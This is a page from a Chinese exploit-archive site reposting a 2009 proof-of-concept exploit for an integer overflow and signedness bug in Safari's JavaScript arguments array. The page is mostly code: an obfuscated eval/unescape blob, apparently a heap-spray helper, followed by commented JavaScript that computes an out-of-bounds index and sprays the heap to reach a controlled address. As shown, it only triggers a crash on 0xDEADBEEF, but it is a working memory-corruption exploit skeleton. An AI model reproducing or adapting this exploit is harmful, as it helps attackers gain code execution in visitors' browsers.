首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Safari (Arguments) Array Integer Overflow PoC (New Heap Spray)
来源:www.vfcocus.net 作者:SkyLined 发布时间:2009-01-06  
<BODY>
<CODE id="sploit status"></CODE>
<CODE id="heapspray status"></CODE>
<SCRIPT>

i=0;eval(unescape(("gÂ#MÂÂÂ#Âg#ÉÄÊÅ@ÅÑÅÅÅØÅÉÅÊÆ@gÑÜ@ÜÑÜÂÜ#ÜÄÜÅÜÆÜgÜØÜÉÜÊÜËÜÜÜMÜNÜßM@MÑMÂM#MÄMÅMÆMgMØMÉMÊMËMÜMMMNMßN@NÑNÂN#NÄNÅNÆNgNØNÉNÊNËNÜNMNNNßß@ßÑßÂß#ßÄßÅßÆßgßØßÉßÊßËßÜßMßNßßÂÂ#ËÆÄ#MÂÂMÂgÄgÉg@ÆÅÆßÆÆÂØNgÂÉ#MßÄNg#MNØ#ËNØ#MÆÆÕÅÂ@M#ÅßßßgÄÂÜÆÅN#MÂÂÑÆÕÂÉÆÅ#MãÑ#ËMÂÂÑgÄÂÉgÄ#M#Á#Ð#\
Ëg                                                                                                                                                                                                                                                                                  #\
#M                                                                                                                       NgÂNÆ#ÆQÆ                                                                                                                                                  Ü\
ÆÜ                                                                                                                  ÂØgÄßÅÂÜgÄÂÉ#ËMÂg#N                                                                                                                                             @\
#Ü                                                                                                              ÆÅÂÉg##MÆNÆÕggÂ@ÄÑgÂgÂÆÑgÉ                                                                                                                                          Â\
ØÆ                                                                                                            ÅÂMg#N@ÂË#ÑÂÉÂNÆÊÆßMÊÂØÅÜÂÂ#@Ü                                                                                                                                        Æ\
ÂË                          g##ËNMgÄgÅgÂÆ                                                                   NÂ@g##ËgM#ËÆgÆÜ        Å@#MgËÅÜ                                                                                                                               ÄMÅ#Ä   É\
ÄÅ                    Â@#gÄ@ÄNÅÄÂ@#ÅÂN#ÑßÆNÑ#Áß                                                            g#ÑÜ#Ü#gMMÅÄ                MÅ#ÄÉÄÅ                                                                                                                           Â@#gÄ@ÄNÅ  Ä\
Â@                 #ÆÂN#ÐßÆNÑ#Æßg##Ü#Ü#gMNN#ÅÂN#ÑÄÊ                                                       NN#ÆÂN#ÐÄÊg                    M#ËÆÆÅ                                                                                         ÅÂР                          ßØ#ÂÂØgÄÂÜÆÅ  Â\
Üg              #N#MÆãMgÄ#ßgÄ#ÊNÑÄÄ#@ÄÄ#@ÄÄ#@ÄÄÜËÆÑßÉ                                                    g##Mg##ßg##                      ÊgËgMÜ                                                                                          ËßÊ#MÆ                  ÅãßÆÅ#ÊÅÜÂÂÅÜÅÜ   #\
@Å            ÜÂÂÜËÜg#MNÑ#ÆÜ#Ü#ÜËÅØ#MNÑ#ÁÜ#Ü##ËÅÊ#MNÑã@                                                  #ÑÜ##Ð#ÐÜË                        Mg#MÆ                                                                                              ÆæÑÆÜg#ÆÅÜ    ËÆÉÅÉÜÂ#M#   ÐgØ#Â#Р   Ü\
ËÆ          ÉÅÑÜÂ#M#ÄÜËÆÉÅÑNßÅ#ÆÉgÊÆÅ#MãÂÜËMÑ#MÆNgÅÆÜÆÜÜ                                                Ëg#ÄÜÆßÆg#M                         ÅÜÂÂÅ                                                                                                   ÜÂÂÜËg#Å#MØ        #MÅÜÂÂÅ      Ü\
        ÜËMÜ#MÆNgÅÆÜÆÜ#ËÆÉÜÜ       ÂØÄ#ÆØgÂÆßÆMÆÅMÐgÜßË                                               ÂØÄÆÆÉNMÆÆÆ                         ßgØM@                                                                                                                     gÜßËÂØ        Ä\
MÅ       #ÄÉÄÅÂ@ÅÜÅÜÆÄÂË                ÉßËgÜßËÅÆÜÊg#ÆÉÆ                                               ßÆNÂØM@ÂØÅ#Æ                         ÁÆÆæ                                                                                                                    ÑgÂÆÉ          Â\
Éß      ËgÜßËÂØÄßg@ÜÊÆ                     ÑMÐgÜßËÂßMÅÂÄ#Ñ                                              ÂÄ#ÂÂÄ#ãÂÄ#ÅÂÄ#                      ÄÂÄ#Æ                                                                                                                  ÜÆ#Ëg           Â\
ÜÜ     ÅÜÅÜÂØßËÅgMÊÆ                        ÄÆßggg#Â@ÂØÅËÅ                                              N#ËÅMÂÊÂÉßËÂßMÅÂÄ#ÑÜÆ                #ËÆN#                                                                                                                 MÆÉÜN            Ä\
@ß     @gÂ#ËÅ@#MÆgÆ                         ÜÅ@ÅËÆNÅM#ËMÂÅ                                               @ÂÉÆÆÆßgÂÂØg#NÄ                     @MÊ       @Å@ÂÉg                                                                                                    ÄßÅÅ             Ë\
g#    NÄÅM#MÅ@ÅËg#N                       ÄÅMgÑMËÆßÂÜÆÑN#M                                               MãMÆNÆÅggÂ@Ä                         ÆÅÅ      ØÅÜÂÂÜM                                                                                                  NÆÆÄ              Æ\
ÅÅ    ÂNÆãÆÑÆÜÆÜÂØ                 ÜMÂNÆßÅÄßÅÂÉÜÆ#ËMMÂNÆßÅ                                                ÄßÅ#MgÄßÅ                           #ËMM     NÆÆÄÆÅÅã                                                                                                  MÆß#              Ë\
g#    ÆÅgÄÅÄÆÉÆMÆÅ                       ÆßgÅgÄÂØMMÂÜÆÑMNN                                                 ÉÆÜÆßÆ                              gMËÆ      ßN#Â#g                                                                                                   #ÄÜ               Æ\
ßÆ     gÂË#MÂ#g#Å#M                          ØNÉg#MØÂØÆßM                                                   NNÉg                               #MØM                                    ËÆßN#                                                                     Â#g#               Å\
#M     Ø#MÆßMßÅÜÅÜg                             ÄÂßÆgMÅNÅ                                                     N                                ÅNÅN                                ÅÜÆMß#ÜÂßÆgMÅ                                                                 ÂÆÆÜ               g\
Ä#      ËÜÆÜN#ÜÄÂÅÂ#                             NÅÜÂÂ#Ë           M                                                                         #MÑ            ÉÂ#         MÑ  ÂNMÊÆNÜÊÄØÅÄÄMÄÜ#M                                                               #g#                Ä\
ÜÆ       ßÆgÂËÂ#g#Å#M                             Ø#ËgM          NÉg#gÄ                                                                         gÂMÊ         ÆgÄÆÆÉ      ÆÜÆÜMËÆßÂÜÆÑN     #ÆÈ#MNÂÆ                                                              ãÆÅ                Æ\
ÉÆ        ÜÂØÆÑÂßÆßN@                            É#ËÆ         Ä#MÅÜÂÂÅÜ                                                                       Â#ËÆ      Ü#MNÂÆ#ÆÕ    ÆÉÆÜÂØNÂÆÜÆß           ÆgÂØÆØ                    ÂË#ÑÂÉ                                  ÂßN                Æ\
ÜÆ          ßÆgÂØ#ÂÂÉÂÉ#                          ËÆ         ÆÆßgÂÂØÆg#M                                                   ÆÜ#ËÆ                g#N#    M#Ð#ËÆgÂMÂM       N#ÆÄÂË#M             ÆÄ#ËM               ÆØÂÆNÂg@ÆßggÂØ                              #ÂÂÜ                Æ\
g            ÉÂÉÆÄÂË#MÆß#                                 ËgMNMgÄgÅgÂÆN                                                @ÆÄÜØ#@                ÂÜÆÑ         MNÜËg#Ü      ÄMËÆßN#               Â#MÜ#             MÆß#ËÜ    ÑÅ#ÜÄMÊÆ                            gÂ@Æ                Æ\
g              ÆßÆMÂ@ÜÅÂ#Üg                               #ÉÜNÂ@gÄÆßÂ@ÜÅM                                              Æ#ÉÜNÂNÜÆ               #ËÜÑ          ÅÜÅÜgÄ       ÄÑg#g#                gÅÆMM           ÊÆg          @ÆÑÆÄÆÄ                          NMg                 #\
g#                 Â@gÆÆÁgÂÆÉß                               ÜÆÉÆßÆNg#Â@Æß                   ÆÆÂР                      gÅg@Â@gÄÆ               ßÂ@Ü          ÅÂ#ÅØ#       ÉßÑÂ@Æ                ãÆÑgÅ           g#Æ            ÅÆÄÂÐÆ                         gÉ                 @\
ÆÆ                     gÂÆÑÆgÆMÆ                               ÅÆNgÄßÜÆÉÆßÆ                  NßÂg@N                      Mg@ÆÑNMß               ØÂÜ#           ÑMNNÉ        g@NMg@                ÆÑNM          ßØMË             N#Æß#M                         Â#Å                 ß\
Åß                        g#gÄgÂMÊ                               ÆgÄÆÆÉÆÜÆÜ                ØÂ#ßÊÂÜ        MÉ            É#ËÆÆÆßg              ÂÂØÆ           ÑÂÐMÊ       @Â#ÆQß                Ég#N  #ÆØ     #MÆ               NÆÕgg                @M#ÂØÆ  ÑÂÉ                 #\
ËM                           ÂÆØÂÅ#Â#                             MãM#ÑÂÉgÄÆØ              gÂÆßgg        Â@ÆNÆ             ÅggÂ@ÄÅ              gÂg            Æßg        ØÅÜ                ÄßÆÆ    Ææg#Æ ÅgÄ               g#Â@Æß             ÆÆÂÐÆãÆ@g#Â@ÆM                 g\
Åg                              #gÄÂ@ÆÂÆ                            ÅÂÐÆÅgÆÆÅ            ÆNÂÐÂØ         ÆÆÆßgÅÆ             NÆÄÂ@ß              @ÆØ#            ÉÂËÜÆ        ÜÆ#ËÆÆ                æßg       ÂØÆÄÂ@              MÊÂ@g#           ÅËÆÑÅMN  #ßÉ#Mg#                 Å\
ËÆ                                  ÑÅMÅËÆÄ                          ÅM#ËÜÑÅÜÅ          ÜgÄÄÉ          ÆNg#ÜÊgÄ              ÆÅÆÄß             Mg#ÜÄ             Â@Æ#         ÆÐÂ@ß                ÜÂ@Æ         ßÆÆÆæg#ÆÅgÄ    @ÜÅÆØÂNß          ß#Ñã          ÆÂÜ#Ä              É\
ÜN                                      #ÊÂ@ß@                        ÆÄÜNÂNÜÆ#       ËÆß#M            ÆßÜØ#@ÂÜ              ØÆØ#N            #N#Ñ             ÉÂÉÂË        ßÉÂËÆ                ßÜØ         ØÆØ    #N#N#ÑÂÉÂËßÉN@ÂÉ          #ËM           ÆßN@ #NM            É\
N#                                         ÆÉÄÅgØ                       Æ#ÆÕg#g#    #MÆßN               @ÂMMÉ#ËÆß             #MÆßÜ            ØMÉ               ÉÂËÆ         ßÜØÆÉ                ÄÅg         ØÆ#Æ          Õg#g#ÂÜ            MÉM            NgMg                M\
NÆ                                            #ÆãÄÄË                    @ÆÂß#ÆËß@ÂØÂ#ÆÁ                  ßÉg##ßÅÜ            ÂÂ@g            gÆÉg               ÄÆØ         @MÊg#                ÜÊg          ÄÆÅ                       ÆÄ   Â@Æã            Æ@g#                M\
ÄÅ                                              ÜÂÂÜÆÜN                  NÜÆÜËg#ÜÉ#MÆßÜ                    ËÆÑg#ÅÉ#M          ÅËÅM           ÜËÆÉÜ                Ég#          #Mã@                ÜËÜ          ß#M#                   ÐÜË     ÆÉ             g#M                #\
Üg         gÑ                                      ÂØÂ#ÅßÅßÆ               #NMßÜÆÅßØÅÑÂÜ#Ñ                    MNNÉÆ#NMß        ÜÆÅß           ØÅÑMË                 N#           M                 Â#g           #ÜÉN               @#ÜÅ       ÊÂß             #ÂN#               #\
g#      ÜÉÂË#M                                        Â#g#ÜÉgÑ             ØÜMÂÜ#ÑMNÆÅÆÜg#ÆÅ                     gËNÆÜÅÅÊ      #Éß           ÑÂ@Æ                                                  Âß#            ÆËÂ@Æ          Ææßg         ßMg             #ÜÄMÊ               Æ\
gß    Âg#ÜÄÅÉÂÜ#                                        ÑMNgMNÉg#Ü           ÄÅÉMËN      #MÂÂ#Mg                       #ßßNÂg#N#MMÆ          ÂMÂãÅ                                                   Ø#Ê            ßNÂg#Ü#M  MÆÂËÂ#ÅØ          N#N             Ê#MÂØ               ß\
NÅ   ÉÜÂÂËßNÅÑÜÂÂÉÂß                                      #Â#ËÆÉNßÄÜ         Ü@#MÂØß         NÅÑNßÅ                         #ÆÉgÊÆÅ          ÂÉÂß#                      Â#Ëg#                        Âg#             MÂ#Mg#ßNËÂMÂ#ÅØ           É#É#            ÊNËÂË              #\
ÅØ  ÂÉ#ÉÜËÆÑg#ÅÉÅËg#ÂgÅM                                    #Mg#ÂgÂËÂ#        g#ÜÉÜØ             NÊÂËg#                        ÂgN@         ÂÜÅÊ           ß#ÂÂMÂØNÊÂËÆÉNßÄÜÜ@ÂÉÂMg#Âg              N@              ÉÜËÆÉÜÉg#ÂËÂËÜ            ËÜß             Ë#MÅÊ              Ü\
ËÆ  ÉÂgÂË#MÂ#Mg#ßÂM                                          ÅÊ#ÊÅÊNÉg#        MØÂØÅÜ              ÂÂÅÜÅÜg                      ÄÄÑ         ÆÜß#ß   ÜÆÅÆÄÂ@ß@ßNÜÉg#ÜNßMÆÂß#ÆËg#Â@ÂØß@Â#ÜßÂNßß       ÉßÑ                ÂÉÂ@gÄÆßÂ@g              #ÜÄ            @gNÜÅ             #\
Üg  #ÉÜNÂMÜÅÂØßN                                            gÂËÂ#ÅØÂÉ#É        ÜNßÂg                #ÜÄÅÉÂÜ#                   ÑMN        ÆÅÆÜg#ÆÅgËÜÑÄ#ÆßÆÜÆÜÆÅ                      ÆãgÄMÊÆgÂ@ÆgÆ Ñg                  ÆÂÆÁÆgÆÅ         Ü     Æ#ËM           gÄgÉg@             Æ\
ÅÆ  ßÆÆÂØNÜÂÉÂÑß                                              ÄNÜÂØÂÉ#ËM       ggMÊÆ                  ÄÆßggÂNÆ                 gÆ#       ÂÉggMÊÆÄÆßggÂNÆg             Æ#ÂØÂÉ#ËÜ              ÑÅÉÂ@g#ÜÄ                     @ÆÄ           Æ      ßÆNÆÅ         NÜÆÜËMÜ            Â\
ØÆ   ßßØMN#ËgMgM                                             #gÄßÅÂNÂgÄÑ        ÆÄÆÄN                  Mg#g##ÉÂN               ßß#      ÑãÆÂÜ#ØÂÉÄÊß              Æ#ÐgØ#gÄÆßg#ÑÜ#Ü                 #MÅMgMÄ                               gÄ       gÂgÅÆÅM        ÅÆÉÅÉÜ           M\
Ä#    @MÅÆÉÅÑÜÂMÄ#                                           @gMÅ@ÆÜÅ#gÉg         #gÄÆ                   ÅÆMÅãg@ÆÅÆ             ãÆÉ     ÆÆÆÉÆãNÄg                #ÅÑÅãgÄgÂMÊÆgÅÅgÅÆNÆ               #gÄ ÆÉÆßÆNÅ                          ØÆÉ        ÅÆÆÁgÂÆÉÆÑÆ   NÆãÆÅÅÉÄ          Ø\
ÆÅ      ÆÁg@ÅÊßNÄÂß#                                         ÆËÅ#ÆÉgÊÆÅÆ          ÐÆßÆM                   g@ÆßÆNÆÅÆN           gÄgÑ    ÜËg#ÆÅ                   gÄÅÄÆÉÆMÆÅÆßgÅgÄÜ@ÆÅÆNÆ             ggÄ    ÆØÜÑÂ#Åß                   ÅßÆÜÆ           ßÆgÂØÅÜÂÂÜÂÄØÆÅÆÁÆÄÜÊ         Å\
#Æ        ÉgÊÆÅÜ##Ð#Ð#                                      ÐÜÄg@gÂÆÑgÉ            ÜÅ#@                  gØß@ÜÆÅÜÂÂÂÉ          ÜgÆÉ    Å#g                     ÄÆÑg       gÄÂgÜØÂNg#gÅÆ           Âg#g       ÄgÂÂØÜÉÅÉÄ          Âß#ÆËÜÊÆ               ÅgÂÜË#ËÂ#ÜÜ#MÆNÆÁgÆ        Æ\
ÉÆ          gßÜÆßgÂÂNgÅg#                                 ÜÊÄÑÆgÆÅÆNgÄ              MßßË            ÜMÆÑgÂÆggÅÆMÆÅÆNg          Äg#                          NÆ#ÆQ           ÆÜÆÜÆÅÆÅÜNÂË         ÅÜ           ÜßÆÉÄÂgÉgÄÆÅg#ÄÑÆÜß#ßÜÆ                     ÅÆÄM@ÅÜÅÜÂßÅÜÅÜ        Æ\
Ä             ËÂÉßËMÑÆßÄßgÅgÄ                         g@gÅgÄÄÅÆÜÆÅ                 ÆMÆÕ                ÆNgÄMÂÆÉÆÆÂØ           M#ÄN                       gÅÆMÆ               ÂÜÊMÄÅÜÂÂ#ÊMÅ    ÂÜÅÜÂÂM             ÆßNÅÄÆÑgÂÆgÆÅgÄÂgMg                            ÆÂÅÂÆÅgÆ          Ü\
Êg                #ÆÅMØgÄßÜgÅg#MÉ#@gØ#          ÑÜ##ÐÂß#ÂMÊÆÉÆNMË                    #MÆÆ                  ÕÅÂØMÜÆ            ÆÄÄÆß                    ÆNÆ                     ÅÄØÆÑÆNÆÄÆÜÜÊMMÆÆÅggÂÆ                Ñg@g@ÜÊMNÂÉ#ËgM                                                M\
ß                     NNMg@ÆÜÆÑÆãÆÅÂØÂßN@ÂNÆÜÜ@NÑ#ÐgØ#@NÂÄMß                         ÜÆØ                    ÂN               N#ÂÉ                                              gËNÄÅ#ÆÅgÄgÄMÊÆgNÅ                    ÆÆNÆÂg#g@#Ë                                                  N\
ÆÜ                            ÑÅÜÅÜgÄÄ#NMßÜÆÅÆÄÂ@ÆßÆNÆÅ                               Â@Ng                                    M#Åß                                                ÆßÆÜÆÄÅÄÆßÅÑNØ                        M#ÂNg@gÂÆ                                                   ß\
gÄ                                  ÆßgÄgÉg@ÆÅÂN                                       gÄÆ                                   ßÅÑNÉ                                                    ÜËÅßÅßN                             ÊÆÉÄØ                                                     Æ\
ÅÆ                                                                                                                           ÁÆÄÜÊ                                                                                         ÄÜÜ                                                      @\
NË                                                                                                                           ÅÜÂÂÜ                                                                                          Å                                                       ß\
N                                                                                                                          g#ÉÜNg                                                                                                                                                  N\
ÜÅ                                                                                                                          ÂØßNÂg                                                                                                                                                  N\
ÜÄ                                                                                                                         #ÆßÆÜÆ                                                                                                                                                   Ü\
ÆÅ                                                                                                                        ÆãgÄÄgÆ                                                                                                                                                   Ñ\
g                                                                                                                       ÆÂÆÁÆgÆÅ                                                                                                                                                   N\
Mg                                                                                                                     ÂÆÅNNMÅÅ#                                                                                                                                                    Æ\
ÁÆ                                                                                                                   ÆæÑgÂÆÉÂß##                                                                                                                                                    Ä\
@Ä                                                                                NÅÄÂ@NßÄÆÆß                      ÆßgÄÜÊß@ÅÜ                                                                                                                                                     Â\
Ëß                                                                           ÑÜNÂ@ÆÂgÉgÄÆÅg#ßÂÂNÜÆg           ÑÂØÂ#ÅßÅßß#ÆÜÆßÆ                                                                                                                                                      #\
ßÄ                                                                        #MÅÜÂÂgÅÆ   NÆÄÆÅÆÆmÊÆÅÆÄÜÆßÅÆØÆÉg#ßÆMÄgËÅÜÂÂÜgMÄßg                                                                                                                                                       Ü\
#Ü                                                                      #MÅÅ                ØMÄNÑßØÅÉÅ#ÜÄßÉg#Ä#ÆÐßÊg#ÄÂÆÑÆã                                                                                                                                                         Æ\
ËÆ                                                                     gg                         ÂÆßgÅÆNÆÄßËÂNÂÊßÜÆÑgÄßM                                                                                                                                                           Â\
@Æ                                                                    Ø                               ÆÅÆÁg@Â@ßNÂ#ÆÉß                                                                                                                                                               ß\
gÄ                                                                                                                                                                                                                                                                                  Æ\
ßÅÑÂØÂÂ#ËÆÆÆßgÂÂØÆ#ãM#g#ÆãËÆ#ÂMÂMãËÆÄ#MÂØgÄ#MÆÄÂNg#g@ÆÜÆÉgÄÂØgÂÂNÆ#ÆÈÆÁgÂÄÑgÄÂØÆ#ÂÉÂÉÂÉÂNÆÊÆßÆÉÆNÂØgÄÂNg@Æßg@ÂØÂÉÂÉÂÉ#ËÆÅgÆÆÁÆÜÂØÆÄÂÉ#ËÂßÂßÂMÆ#ÂÄ#Ë#ãÅÊ#Ñ").replace(/./g,function(c){return" `'^*\\/|-_.swdibYPW,".indexOf(c)<0?(i++%2?'':'%')+(c.charCodeAt()&15).toString(16):''})))

// The index for the "arguments" array in a JavaScript function in
// Safari suffers from a signedness issue that allows access to elements
// that are out of bounds. The index is cast to a signed value before it
// is compared to the length of the array to check if it within the
// bounds. Integer values larger than 0x8000,0000 will be cast to a
// negative value and because they are always smaller then the length,
// they are treated as a valid index.
// The index into the arguments array ends up in instructions
// that multiply it by 4 to access data in an array of 32 bit values.
// There are no checks for overflows in this calculation. This allows us
// to cause it to access anything in memory:
//     Pointer to object = base address + 4 * index
// The base address varies only slightly and is normally about
// 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
// predictable location using heap spraying, we can then calculate an
// index that will access this memory.
var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
var iTargetArea = 0x10000000;
// Be advised that heap spraying is "upside down" in Safari: strings
// are allocated at high addresses first and as the heap grows, the
// addresses go down. The heap will therefor grow in between a lot of
// DLLs which reside in this area of the address space as well.
// We'll need to find an area of memory to spray that is not likely to
// contain a DLL and easy to reach.
var iTargetAddress = 0x55555555;
//     iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
// 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)
// iIndex = (iTargetAddress - iBase) / 4
var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
// We need to trigger the signedness issue so the index must be larger
// then 0x8000,0000. Because of the integer overflow in the
// multiplication, we can safely add 0x4000,0000 as often as we want;
// the multiplication will remove it from the result.
while (iIndex < 0x80000000) iIndex += 0x40000000
document.getElementById("sploit status").innerHTML = (
"iBase + 4 * iIndex = " +
"0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
"0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
);
// Set up heap spray
var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
oHeapSpray.oOutputElement = document.getElementById("heapspray status")
// Spray heap asynchronously and call sploit when done.
oHeapSpray.spray(sploit)
function sploit(oHeapSpray) {
// This will cause an access violation using the value 0xDEADBEEF,
// which comes from the strings we sprayed the heap with.
// 6aa3d57f 8b4f0c          mov     ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
arguments[iIndex];
}
function DWORD(iValue) {
return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
}
</SCRIPT>
</BODY>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHPAuctionSystem (XSS/SQL) Mul
·Oracle 10g SYS.LT.REMOVEWORKSP
·VUPlayer 2.49 (.wax File) Loca
·Oracle 10g SYS.LT.MERGEWORKSPA
·Joomla com_phocadocumentation
·Oracle 10g SYS.LT.COMPRESSWORK
·oomla com_na_newsdescription (
·RiotPix <= 0.61 (forumid) Blin
·Cybershade CMS 0.2b (index.php
·Debian GNU/Linux XTERM (DECRQS
·Joomla Component simple_review
·Goople <= 1.8.2 (frontpage.php
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved